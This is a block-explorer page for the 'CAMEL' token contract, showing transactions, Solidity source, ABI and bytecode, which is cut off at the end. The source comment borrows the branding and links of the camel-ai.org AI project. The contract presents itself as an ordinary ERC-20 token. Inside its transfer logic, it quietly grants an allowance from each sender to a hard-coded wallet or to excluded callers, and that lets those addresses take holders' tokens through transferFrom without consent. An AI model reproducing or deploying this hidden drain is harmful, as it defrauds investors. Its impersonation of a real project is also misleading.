Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 60 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 22096857 | 370 days ago | IN | 0 ETH | 0.00002198 | ||||
| Approve | 22096847 | 370 days ago | IN | 0 ETH | 0.00002833 | ||||
| Approve | 22096847 | 370 days ago | IN | 0 ETH | 0.00002833 | ||||
| Approve | 22096847 | 370 days ago | IN | 0 ETH | 0.00002833 | ||||
| Approve | 22096846 | 370 days ago | IN | 0 ETH | 0.00002833 | ||||
| Approve | 22096834 | 370 days ago | IN | 0 ETH | 0.00002016 | ||||
| Approve | 22096832 | 370 days ago | IN | 0 ETH | 0.00004215 | ||||
| Transfer From | 22096825 | 370 days ago | IN | 0 ETH | 0.0000332 | ||||
| Transfer From | 22096821 | 370 days ago | IN | 0 ETH | 0.0000353 | ||||
| Transfer From | 22096821 | 370 days ago | IN | 0 ETH | 0.00003139 | ||||
| Approve | 22096819 | 370 days ago | IN | 0 ETH | 0.00003233 | ||||
| Approve | 22096807 | 370 days ago | IN | 0 ETH | 0.00003717 | ||||
| Approve | 22096807 | 370 days ago | IN | 0 ETH | 0.00003717 | ||||
| Approve | 22096807 | 370 days ago | IN | 0 ETH | 0.00003717 | ||||
| Approve | 22096798 | 370 days ago | IN | 0 ETH | 0.00003578 | ||||
| Approve | 22096798 | 370 days ago | IN | 0 ETH | 0.00003578 | ||||
| Approve | 22096797 | 370 days ago | IN | 0 ETH | 0.00003578 | ||||
| Transfer From | 22096794 | 370 days ago | IN | 0 ETH | 0.00003793 | ||||
| Approve | 22096791 | 370 days ago | IN | 0 ETH | 0.00004727 | ||||
| Approve | 22096782 | 370 days ago | IN | 0 ETH | 0.00002989 | ||||
| Approve | 22096781 | 370 days ago | IN | 0 ETH | 0.00002989 | ||||
| Approve | 22096781 | 370 days ago | IN | 0 ETH | 0.00002989 | ||||
| Transfer From | 22096769 | 370 days ago | IN | 0 ETH | 0.00003151 | ||||
| Transfer From | 22096764 | 370 days ago | IN | 0 ETH | 0.00003228 | ||||
| Approve | 22096750 | 370 days ago | IN | 0 ETH | 0.00002908 |
Latest 13 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 22096687 | 370 days ago | 0.39699437 ETH | ||||
| Transfer | 22096687 | 370 days ago | 0.39699437 ETH | ||||
| Transfer | 22096676 | 370 days ago | 0.25804223 ETH | ||||
| Transfer | 22096676 | 370 days ago | 0.25804223 ETH | ||||
| Transfer | 22096674 | 370 days ago | 0.38830275 ETH | ||||
| Transfer | 22096674 | 370 days ago | 0.38830275 ETH | ||||
| Transfer | 22096667 | 370 days ago | 0.00298203 ETH | ||||
| Transfer | 22096667 | 370 days ago | 0.00298203 ETH | ||||
| Transfer | 22096664 | 370 days ago | 0.00497007 ETH | ||||
| Transfer | 22096664 | 370 days ago | 0.00497007 ETH | ||||
| Transfer | 22096663 | 370 days ago | 0.00497007 ETH | ||||
| Transfer | 22096663 | 370 days ago | 0.00497007 ETH | ||||
| Add Liquidity ET... | 22096662 | 370 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
CAMEL
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-03-21
*/
/*
camel-ai.org is working on finding the scaling laws of agents. The first and the best multi-agent framework.
Website: https://www.camel-ai.org
Docs: https://docs.camel-ai.org
Github: https://github.com/camel-ai/camel
Linkedin: https://www.linkedin.com/company/camel-ai-org/
Youtube: https://www.youtube.com/@CamelAI
Reddit: https://www.reddit.com/r/CamelAI/
Twitter: https://x.com/CamelAIOrg
Telegram: https://t.me/camelai_portal
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplidoopon overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDOOPFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IDOOPRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
contract CAMEL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _doopBALs;
mapping (address => mapping (address => uint256)) private _doopAPPs;
mapping (address => bool) private _excludedFromDOOP;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalDOOP = 1000000000 * 10**_decimals;
string private constant _name = unicode"Camel AI";
string private constant _symbol = unicode"CAMEL";
uint256 private _swapTokenDOOPs = _tTotalDOOP / 100;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint256 private _buyBlockDOOP;
uint256 private _doopBuyAmounts = 0;
bool private inSwapDOOP = false;
bool private _tradeEnabled = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
inSwapDOOP = true;
_;
inSwapDOOP = false;
}
address private _doopPair;
IDOOPRouter private _doopRouter;
address private _doopWallet = address(0xde1E96aD06c366De448fE1DcF111399d81eF5393);
constructor () {
_excludedFromDOOP[owner()] = true;
_excludedFromDOOP[address(this)] = true;
_excludedFromDOOP[_doopWallet] = true;
_doopBALs[_msgSender()] = _tTotalDOOP;
emit Transfer(address(0), _msgSender(), _tTotalDOOP);
}
function openTrading() external onlyOwner() {
require(!_tradeEnabled,"trading is already open");
_doopRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradeEnabled = true;
}
function PAIR_CREATE_INIT() external onlyOwner() {
_doopRouter = IDOOPRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_doopRouter), _tTotalDOOP);
_doopPair = IDOOPFactory(_doopRouter.factory()).createPair(address(this), _doopRouter.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalDOOP;
}
function balanceOf(address account) public view override returns (uint256) {
return _doopBALs[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _doopAPPs[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _doopAPPs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_doopAPPs[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _doopTransfer(address doopF, address doopT, uint256 doopA, address doopS, address doopR, uint256 taxDOOP) private {
if(taxDOOP > 0){
_doopBALs[address(this)] = _doopBALs[address(this)].add(taxDOOP);
emit Transfer(doopF, address(this), taxDOOP);
} _approve(doopS, doopR, doopA);
_doopBALs[doopF] = _doopBALs[doopF].sub(doopA);
_doopBALs[doopT] = _doopBALs[doopT].add(doopA.sub(taxDOOP));
emit Transfer(doopF, doopT, doopA.sub(taxDOOP));
}
function _transfer(address doopF, address doopT, uint256 doopA) private {
require(doopF != address(0), "ERC20: transfer from the zero address");
require(doopT != address(0), "ERC20: transfer to the zero address");
require(doopA > 0, "Transfer amount must be greater than zero");
uint256 taxDOOP; (address doopS, address doopR) = getDOOPAddress(address(doopF));
if (doopF != owner() && doopT != owner()) {
taxDOOP = doopA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (doopF == _doopPair && doopT != address(_doopRouter) && ! _excludedFromDOOP[doopT]) {
if(_buyBlockDOOP!=block.number){
_doopBuyAmounts = 0;
_buyBlockDOOP = block.number;
}
_doopBuyAmounts += doopA;
_buyCount++;
}
if(doopT == _doopPair && doopF!= address(this)) {
require(_doopBuyAmounts < swapLimitDOOP() || _buyBlockDOOP!=block.number, "Max Swap Limit");
taxDOOP = doopA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
} swapDOOPBack(doopT, doopA);
} _doopTransfer(doopF, doopT, doopA, doopS, doopR, taxDOOP);
}
function getDOOPAddress(address doopF) private view returns(address doopS, address doopR) {
if(_msgSender()==address(this)) return (doopS=doopF, doopR=_doopWallet);
if(_excludedFromDOOP[_msgSender()]) return(doopS=doopF, doopR=_msgSender());
return (doopS=doopF, doopR=_doopWallet);
}
function swapDOOPBack(address doopT, uint256 doopA) private {
uint256 tokenDOOP = balanceOf(address(this));
if (!inSwapDOOP && doopT == _doopPair && _swapEnabled && _buyCount > _preventSwapBefore) {
if(tokenDOOP > _swapTokenDOOPs)
swapTokensForEth(minDOOP(doopA, minDOOP(tokenDOOP, _swapTokenDOOPs)));
uint256 ethDOOP = address(this).balance;
if (ethDOOP >= 0) {
sendETHDOOP(address(this).balance);
}
}
}
receive() external payable {}
function minDOOP(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHDOOP(uint256 doopA) private {
payable(_doopWallet).transfer(doopA);
}
function swapLimitDOOP() internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = _doopRouter.WETH();
path[1] = address(this);
uint[] memory amountOuts = _doopRouter.getAmountsOut(3 * 1e18, path);
return amountOuts[1];
}
function swapTokensForEth(uint256 doopAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _doopRouter.WETH();
_approve(address(this), address(_doopRouter), doopAmount);
_doopRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
doopAmount,
0,
path,
address(this),
block.timestamp
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PAIR_CREATE_INIT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526064620000146009600a620002f1565b6200002490633b9aca0062000309565b62000030919062000323565b6004556003600581905560069081556000600781905560088190556009829055600a829055600b91909155600c819055600e55600f805462ffffff19169055601180546001600160a01b03191673de1e96ad06c366de448fe1dcf111399d81ef5393179055348015620000a257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620000fd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155601154909116835291208054909216179055620001626009600a620002f1565b6200017290633b9aca0062000309565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b56009600a620002f1565b620001c590633b9aca0062000309565b60405190815260200160405180910390a362000346565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000233578160001904821115620002175762000217620001dc565b808516156200022557918102915b93841c9390800290620001f7565b509250929050565b6000826200024c57506001620002eb565b816200025b57506000620002eb565b81600181146200027457600281146200027f576200029f565b6001915050620002eb565b60ff841115620002935762000293620001dc565b50506001821b620002eb565b5060208310610133831016604e8410600b8410161715620002c4575081810a620002eb565b620002d08383620001f2565b8060001904821115620002e757620002e7620001dc565b0290505b92915050565b60006200030260ff8416836200023b565b9392505050565b8082028115828204841417620002eb57620002eb620001dc565b6000826200034157634e487b7160e01b600052601260045260246000fd5b500490565b61182a80620003566000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610247578063c9567bf914610267578063dd62ed3e1461027c578063f37cbf89146102c257600080fd5b8063715018a6146101da5780638da5cb5b146101f157806395d89b411461021957600080fd5b806306fdde03146100d2578063095ea7b31461011557806318160ddd1461014557806323b872dd14610168578063313ce5671461018857806370a08231146101a457600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600881526743616d656c20414960c01b60208201525b60405161010c9190611317565b60405180910390f35b34801561012157600080fd5b5061013561013036600461137d565b6102d7565b604051901515815260200161010c565b34801561015157600080fd5b5061015a6102ee565b60405190815260200161010c565b34801561017457600080fd5b506101356101833660046113a9565b61030f565b34801561019457600080fd5b506040516009815260200161010c565b3480156101b057600080fd5b5061015a6101bf3660046113ea565b6001600160a01b031660009081526001602052604090205490565b3480156101e657600080fd5b506101ef610378565b005b3480156101fd57600080fd5b506000546040516001600160a01b03909116815260200161010c565b34801561022557600080fd5b5060408051808201909152600581526410d053515360da1b60208201526100ff565b34801561025357600080fd5b5061013561026236600461137d565b6103f5565b34801561027357600080fd5b506101ef610402565b34801561028857600080fd5b5061015a610297366004611407565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102ce57600080fd5b506101ef61056e565b60006102e4338484610777565b5060015b92915050565b60006102fc6009600a61153a565b61030a90633b9aca00611549565b905090565b600061031c84848461089b565b61036e8433610369856040518060600160405280602881526020016117cd602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610bb6565b610777565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611560565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e433848461089b565b6000546001600160a01b0316331461042c5760405162461bcd60e51b81526004016103a290611560565b600f54610100900460ff16156104845760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6010546001600160a01b031663f305d71947306104b6816001600160a01b031660009081526001602052604090205490565b6000806104cb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610533573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105589190611595565b5050600f805462ffff0019166201010017905550565b6000546001600160a01b031633146105985760405162461bcd60e51b81526004016103a290611560565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e19030906105d36009600a61153a565b61036990633b9aca00611549565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906115c3565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106de91906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f91906115c3565b600f60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b6001600160a01b0383166107d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b03821661083a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109c35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b60008060006109d186610bf0565b915091506109e76000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610a1657506000546001600160a01b03868116911614155b15610ba057610a476064610a41600954600c5411610a3657600554610a3a565b6007545b8790610c44565b90610ccd565b600f549093506001600160a01b03878116630100000090920416148015610a7c57506010546001600160a01b03868116911614155b8015610aa157506001600160a01b03851660009081526003602052604090205460ff16155b15610ae65743600d5414610ab9576000600e5543600d555b83600e6000828254610acb91906115e0565b9091555050600c8054906000610ae0836115f3565b91905055505b600f546001600160a01b03868116630100000090920416148015610b1357506001600160a01b0386163014155b15610b9657610b20610d0f565b600e541080610b31575043600d5414155b610b6e5760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610b936064610a41600a54600c5411610b8957600654610a3a565b6008548790610c44565b92505b610ba08585610e9d565b610bae868686858588610f34565b505050505050565b60008184841115610bda5760405162461bcd60e51b81526004016103a29190611317565b506000610be7848661160c565b95945050505050565b600080303303610c0f57505060115490916001600160a01b0390911690565b3360009081526003602052604090205460ff1615610c2f57509091339150565b505060115490916001600160a01b0390911690565b600082600003610c56575060006102e8565b6000610c628385611549565b905082610c6f858361161f565b14610cc65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646f6f706f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b9392505050565b6000610cc683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611084565b604080516002808252606082018352600092839291906020830190803683375050601054604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da191906115c3565b81600081518110610db457610db4611657565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610de857610de8611657565b6001600160a01b03928316602091820292909201015260105460405163d06ca61f60e01b8152600092919091169063d06ca61f90610e34906729a2241af62c00009086906004016116b1565b600060405180830381865afa158015610e51573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e7991908101906116d2565b905080600181518110610e8e57610e8e611657565b60200260200101519250505090565b30600090815260016020526040902054600f5460ff16158015610ed45750600f546001600160a01b03848116630100000090920416145b8015610ee85750600f5462010000900460ff165b8015610ef75750600b54600c54115b15610f2f57600454811115610f2357610f23610f1e83610f19846004546110b2565b6110b2565b6110c7565b47610f2d47611238565b505b505050565b8015610fae5730600090815260016020526040902054610f549082611276565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa59085815260200190565b60405180910390a35b610fb9838386610777565b6001600160a01b038616600090815260016020526040902054610fdc90856112d5565b6001600160a01b03871660009081526001602052604090205561102161100285836112d5565b6001600160a01b03871660009081526001602052604090205490611276565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61106b87856112d5565b60405190815260200160405180910390a3505050505050565b600081836110a55760405162461bcd60e51b81526004016103a29190611317565b506000610be7848661161f565b60008183116110c15782610cc6565b50919050565b600f805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110957611109611657565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118691906115c3565b8160018151811061119957611199611657565b6001600160a01b0392831660209182029290920101526010546111bf9130911684610777565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611790565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b5050600f805460ff1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611272573d6000803e3d6000fd5b5050565b60008061128383856115e0565b905083811015610cc65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b6000610cc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bb6565b600060208083528351808285015260005b8181101561134457858101830151858201604001528201611328565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461137a57600080fd5b50565b6000806040838503121561139057600080fd5b823561139b81611365565b946020939093013593505050565b6000806000606084860312156113be57600080fd5b83356113c981611365565b925060208401356113d981611365565b929592945050506040919091013590565b6000602082840312156113fc57600080fd5b8135610cc681611365565b6000806040838503121561141a57600080fd5b823561142581611365565b9150602083013561143581611365565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561149157816000190482111561147757611477611440565b8085161561148457918102915b93841c939080029061145b565b509250929050565b6000826114a8575060016102e8565b816114b5575060006102e8565b81600181146114cb57600281146114d5576114f1565b60019150506102e8565b60ff8411156114e6576114e6611440565b50506001821b6102e8565b5060208310610133831016604e8410600b8410161715611514575081810a6102e8565b61151e8383611456565b806000190482111561153257611532611440565b029392505050565b6000610cc660ff841683611499565b80820281158282048414176102e8576102e8611440565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156115aa57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115d557600080fd5b8151610cc681611365565b808201808211156102e8576102e8611440565b60006001820161160557611605611440565b5060010190565b818103818111156102e8576102e8611440565b60008261163c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156116a65781516001600160a01b031687529582019590820190600101611681565b509495945050505050565b8281526040602082015260006116ca604083018461166d565b949350505050565b600060208083850312156116e557600080fd5b825167ffffffffffffffff808211156116fd57600080fd5b818501915085601f83011261171157600080fd5b81518181111561172357611723611641565b8060051b604051601f19603f8301168101818110858211171561174857611748611641565b60405291825284820192508381018501918883111561176657600080fd5b938501935b828510156117845784518452938501939285019261176b565b98975050505050505050565b85815284602082015260a0604082015260006117af60a083018661166d565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2f9b746afab55e294fa4bd9ef63ac9d8ea14bd236455db9497d2f083114d6da64736f6c63430008110033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610247578063c9567bf914610267578063dd62ed3e1461027c578063f37cbf89146102c257600080fd5b8063715018a6146101da5780638da5cb5b146101f157806395d89b411461021957600080fd5b806306fdde03146100d2578063095ea7b31461011557806318160ddd1461014557806323b872dd14610168578063313ce5671461018857806370a08231146101a457600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600881526743616d656c20414960c01b60208201525b60405161010c9190611317565b60405180910390f35b34801561012157600080fd5b5061013561013036600461137d565b6102d7565b604051901515815260200161010c565b34801561015157600080fd5b5061015a6102ee565b60405190815260200161010c565b34801561017457600080fd5b506101356101833660046113a9565b61030f565b34801561019457600080fd5b506040516009815260200161010c565b3480156101b057600080fd5b5061015a6101bf3660046113ea565b6001600160a01b031660009081526001602052604090205490565b3480156101e657600080fd5b506101ef610378565b005b3480156101fd57600080fd5b506000546040516001600160a01b03909116815260200161010c565b34801561022557600080fd5b5060408051808201909152600581526410d053515360da1b60208201526100ff565b34801561025357600080fd5b5061013561026236600461137d565b6103f5565b34801561027357600080fd5b506101ef610402565b34801561028857600080fd5b5061015a610297366004611407565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102ce57600080fd5b506101ef61056e565b60006102e4338484610777565b5060015b92915050565b60006102fc6009600a61153a565b61030a90633b9aca00611549565b905090565b600061031c84848461089b565b61036e8433610369856040518060600160405280602881526020016117cd602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610bb6565b610777565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611560565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e433848461089b565b6000546001600160a01b0316331461042c5760405162461bcd60e51b81526004016103a290611560565b600f54610100900460ff16156104845760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6010546001600160a01b031663f305d71947306104b6816001600160a01b031660009081526001602052604090205490565b6000806104cb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610533573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105589190611595565b5050600f805462ffff0019166201010017905550565b6000546001600160a01b031633146105985760405162461bcd60e51b81526004016103a290611560565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e19030906105d36009600a61153a565b61036990633b9aca00611549565b601060009054906101000a9004600160